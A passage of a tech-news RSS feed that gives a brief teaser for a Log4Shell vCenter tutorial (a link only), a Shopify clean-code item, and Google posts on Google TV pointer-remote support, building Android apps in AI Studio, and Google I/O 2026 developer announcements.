<guid isPermaLink="true">https://tsecurity.de/de/3694239/it-security-nachrichten/log4shell-vmware-vcenter-server-cve-2021-44228/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Log4Shell is a critical vulnerability with the highest possible CVSSv3 score of 10.0 that affects thousands of products running Apache Log4j and leaves millions of targets potentially vulnerable. CVE-2021-44228 affects log4j versions 2.0-beta9 to 2.14.1. Log4j is an incredibly popular logging library used in many different products and various Apache frameworks like Struts2, Kafka, and [...]</p>
<p>The post <a href="https://www.hackingtutorials.org/exploit-tutorials/log4shell-vmware-vcenter-server-cve-2021-44228/">Log4Shell VMware vCenter Server (CVE-2021-44228)</a> appeared first on <a href="https://www.hackingtutorials.org/">Hacking Tutorials</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI drove Shopify back to clean code]]></title>
<description><![CDATA[Turns out, agents just want the same things as humans: easily-readable code, explicit contracts, and helpful feedback]]></description>
<link>https://tsecurity.de/de/3693933/it-nachrichten/how-ai-drove-shopify-back-to-clean-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693933/it-nachrichten/how-ai-drove-shopify-back-to-clean-code/</guid>
<pubDate>Sat, 25 Jul 2026 15:12:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Turns out, agents just want the same things as humans: easily-readable code, explicit contracts, and helpful feedback]]></content:encoded>
</item>
<item>
<title><![CDATA[Increasing app discovery and engagement on Google TV]]></title>
<description><![CDATA[Posted by Paul Lammertsma, Developer Relations Engineer


  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer t...]]></description>
<link>https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:47 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQn4lINBGbNGjb1HQYUpv_Z0-JdltXyHegoQ-Ukl5l9K2ef4BSjX8c_yu0EWlnHSJnia8oXZYWvMtKxCP9t9PlJmI9GFIy34UDVfMBkEIaz3KJegu0j2TsivMZZPHg9tkIlsyK4NWd0vEq5v1MfQUay8zJ9-2QgLDLBlkqYVxnY7BaYa3QBTVRE3NKxxQ/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Paul Lammertsma, Developer Relations Engineer</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><br><i><br></i><p dir="ltr"><br></p>

<p dir="ltr">
  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer tools designed to increase the discoverability of your content and prepare your app for future TV experiences.
</p>

<h2 dir="ltr">Drive discovery and engagement with Gemini</h2>

<p dir="ltr">
  Last year, we brought our AI voice assistant, <a href="https://blog.google/products-and-platforms/platforms/google-tv/gemini-google-tv/">Gemini</a>, to our platform, so that people can easily find what to watch, learn something new on the big screen, and get everyday tasks done with just their voice.
</p>

<p dir="ltr">
  Since launch, we’ve made <a href="https://blog.google/products-and-platforms/platforms/google-tv/new-gemini-features-march-2026/">improvements</a> to how Gemini provides tailored responses to questions. Gemini shares a mix of visuals, videos, and text to help users find what they need, when they need it. For our streaming partners, Gemini is a helpful discovery engine—pulling from your app's metadata to surface your relevant content to viewers.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN7u9KDZ7L8CIw5cVB_qdWf6PRcm86N8RsrlWPdEYsfwchPZwFBpMaajSqkPwXXAoBP0_v0GpQsWp4_gF_SsBC0DuZlN0qVystQ3fWmHs1qU6dKclljJaea-Phak7qEoGFiu_i3-dj0l7WmA7Tm7T2v8kERsfhKp6BCFs-7y7eSdxVWmFkpIzXYsceaJM/w640-h360/GTV%20Gemini%20-%20GOAT%20overview%20%5B10.8%20MB%5D.gif"></div>

<h2 dir="ltr">Declare support for pointing modality</h2>

<p dir="ltr">
  The TV experience that we once knew is changing. Gemini is changing the way we discover and stream content with voice, but how we use the remote is evolving, too.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5hNXf8y8wwFxJAgZ0N4QwO5v6QUe7vn4Qy70-ndmo2iTye1qdhKP5WxKPJVwoPi0qdadX25BUJzxtLQZVAHXASOibVD0y3Xd_gFuOzp5GOIBwtXy_2jFa4lsTi4r1k6OzkTe5HyJGkOK-fNspRoo54mEA5IB8K4f0fVZ9UpgTWlringYByYxw3Bn_X1c/w640-h360/GTV%20Pointer%20Remote%20Demo_SHELL.gif"></div>

<p dir="ltr">
  Pointer remotes bring motion-controlled input to the big screen, unlocking faster user navigation across the Google TV Home page and within content-heavy apps. To ensure your app is ready for this shift and provides a great experience for all users, now is the time to start thinking about pointing input. Here’s how to get started:
</p>

<h4><span>1. Adapt your TV app UI Library</span></h4>
<p dir="ltr">
  You’ll need support for hover states, scrollable containers, and cursor clicks to enable pointer remote interactions for your app on Google TV. While implementation varies by UI stack, Jetpack Compose streamlines this transition, as most core components handle these multi-modal interactions natively out of the box.
</p>

<ol type="a">
  <li><strong>Hover state:</strong> Every focusable element on your screen (buttons, movie posters, setting toggles) needs a clear visual feedback mechanism for a hover state. This is often subtler than a focus state but critical for feedback.</li>
  <li><strong>Scrollable containers:</strong> Pointer remotes will also have a small circular touchpad for scrolling. Users can use this touchpad to scroll up or down, or left or right in your app. Your app will need to respond to touch events to scroll.</li>
  <li><strong>Cursor clicks:</strong> Many TV apps today expect a simple D-pad OKAY button “click.” With a pointer remote, a user may “click” on an element that’s not the D-pad focus state, but is instead from a hovered state (similar to a mouse click).</li>
</ol>

<h4><span>2. Test pointing interactions with a mouse today</span></h4>
<p dir="ltr">
  To see how your app handles hover, scroll, and clicks, simply connect a bluetooth mouse or wired mouse to your Google TV. Keep in mind that a mouse has more precise control, since users are closer to the screen and typically rest the mouse in a stable position. Pointer remotes can often be less precise, since users are sometimes 10 feet away from the screen, making rough gestures with the remote from their couch. As a TV designer or developer, you can mitigate this lack of input precision by having larger hover targets for elements.
</p>

<h4><span>3. Declare TV app support for pointer remotes on Google Play</span></h4>
<p dir="ltr">
  Finally, tell Google Play that your TV app is designed to work with a pointer. This ensures that users with pointer remotes will be able to easily find, install, and interact with your app.
</p>

<p dir="ltr">
  Within your AndroidManifest.xml, declare the meta-data tag, <span>android.software.leanback.</span><span>supports_touch</span>. This tag informs the platform that your TV app “spatially supports touch,” since pointer remotes simulate touch events from a distance.
</p>

<p dir="ltr"><strong><em>AndroidManifest.xml</em></strong></p>

<pre>&lt;manifest ...&gt;
    &lt;!-- Signal whether the app is adaptive or built just for TV --&gt;
    &lt;uses-feature android:name="android.software.leanback" android:required="true|false" /&gt;

    &lt;!-- Ensure the app can be installed on conventional TVs --&gt;
    &lt;uses-feature android:name="android.hardware.touchscreen" android:required="false" /&gt;

    &lt;!-- Signal whether the app supports pointer remotes --&gt;
    &lt;meta-data android:name="android.software.leanback.supports_touch" android:value="true|false"/&gt;

    &lt;application ...&gt;
        ...
    &lt;/application&gt;
&lt;/manifest&gt;
</pre>

<p dir="ltr"><strong>Tips:</strong></p><ul>
  <li>The <span>android.<strong>software</strong>.<strong>leanback</strong></span> feature declaration indicates that your app supports D-pad navigation and is intended for distribution only on TV devices via Google Play.</li>
  <li>The new software attribute of <span>android.software.leanback.</span><span>supports_touch</span> declares that in addition to D-pad, you have ensured that your TV app works well for pointer/cursor experiences via mouse (of today) and pointer remotes (of future).</li>
  <li>If you haven't already, now is the time to adopt <a href="https://developer.android.com/compose">Jetpack Compose</a>. Hover, scroll, and clicks are common input modalities that are supported on various form factors, and building your app with an adaptive UI framework enables code reusability and reduced maintenance.</li>
</ul>

<h2 dir="ltr">Onboard the Engage SDK</h2>
<p dir="ltr">
  The Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement.
</p>

<ul>
  <li><strong>Resumption:</strong> Partners can easily display a user's paused video within the 'Continue Watching' row from the Home page.</li>
  <li><strong>Entitlements:</strong> The Engage SDK streamlines entitlement management, which matches app content to user eligibility. Users appreciate this because they can enjoy personalized recommendations without needing to manually update all their subscription details. This allows partners to connect with users across multiple discovery points on Google TV.</li>
  <li><strong>Recommendations:</strong> The Engage SDK even highlights personalized recommendations based on content that users watched inside apps.</li>
</ul>

<p dir="ltr">
  It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. To get started, head to <a href="https://goo.gle/engage-tv">goo.gle/engage-tv</a> to learn more.
</p>

<p dir="ltr">
  We're excited to see how our latest Gemini experience and developer tools will optimize your discovery and drive user engagement on our platform.
</p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[17 Things to know for Android developers at Google I/O]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP, Product Management, Android DeveloperToday at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcemen...]]></description>
<link>https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:45 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7OJeCTRC-RN9j39-rULmU26qB-lZoyIZjjDrq07Z7b5GsfHz3q18ftSgcWReGBgIBkp03B6BVghzWllOC38o4jckzzq-e4a8R23ISeegev98zubhGXbIzhTZaqbCTaPLJC2zkxKYvvNspcM4yXkk94f6PEQHpdyMvlpwogicTWQRn3GEksJHOTQDIG4/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><div class="separator"><div class="separator"><i>Posted by Matthew McCullough, VP, Product Management, Android Developer</i></div></div></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><div><br></div>Today at <a href="https://io.google/2026/">Google I/O,</a> we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also <a href="https://www.youtube.com/live/KvTRMSa1w4E?si=QBAxNvihPwJCJUuS">see what was announced last week</a> in <a href="https://developer.android.com/events/show">The Android Show: I/O Edition</a>. Stay tuned over the next two days as we dive into all of the topics in more detail!<h2><strong><span>Build High Quality Android Apps Using Agents</span></strong></h2>

  <h3><strong><span>1: Android CLI: helping you build with any agent, LLM, and tool</span></strong></h3>
  <a href="https://goo.gle/CLI_IO26">Android CLI is now stable</a>. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new <a href="https://developer.android.com/tools/agents/android-skills">Android skills</a>, which enables agents to execute end-to-end UI tests under your direction. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.    <p><span></span></p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrW3yDK9uH_I8MDyVxgYbPAXfrNTJvlMkXhaZFrM1X9ob0LvQbGe_ZC6anUeO_VNd181iptI_MIuEEpX-9GZdf6ZTJCN-WHpPzDCLOeSblo8vrjliSZ0rRrHwIsERWBjbbosP-M_WvA2pva9mF5FWVygAwQbdiW3SLZgJj9TpRIruG4H-ILsvSq_b4dc/w640-h442/agy-android-cli%20(2).png"></div><div class="separator"><span><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></span></div><p></p>

  <h3><strong><span>2: Build production-ready apps with ease in Google AI Studio</span></strong></h3>
  Developers and creators can now <a href="http://android-developers.googleblog.com/2026/05/build-android-apps-google-ai-studio.html">build native Android apps, simply with a prompt in Google AI Studio</a>. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.<br><br><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRaw1v6rolr4alo0C6AWKdFchsMEQgtOGfmk2Ramb0IoOB7smDcVU3yC7YJMkvVQuCPJ9vQW53tQjaV-5wcgOGzMtFDmb_Jbv40an1kvQdqYburXnsONvLqckKL2MWuShi3XmQEstW761oOLjujOk3FMsh3FyAiy5-Pe7xdTwFdfkWOmEnHhQfUJhtCo/w640-h544/image1.gif"></div><i><div class="separator"><i>Use the embedded Android Emulator to create Android apps in Google AI Studio</i></div></i></div><h2><strong><span>3: Accelerating AI coding assistance with Android Bench</span></strong></h2>
  <a href="http://d.android.com/bench">Android Bench</a> is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. <h3><strong><span>4: Convert iOS apps to Android with the Migration Assistant in Android Studio</span></strong></h3>
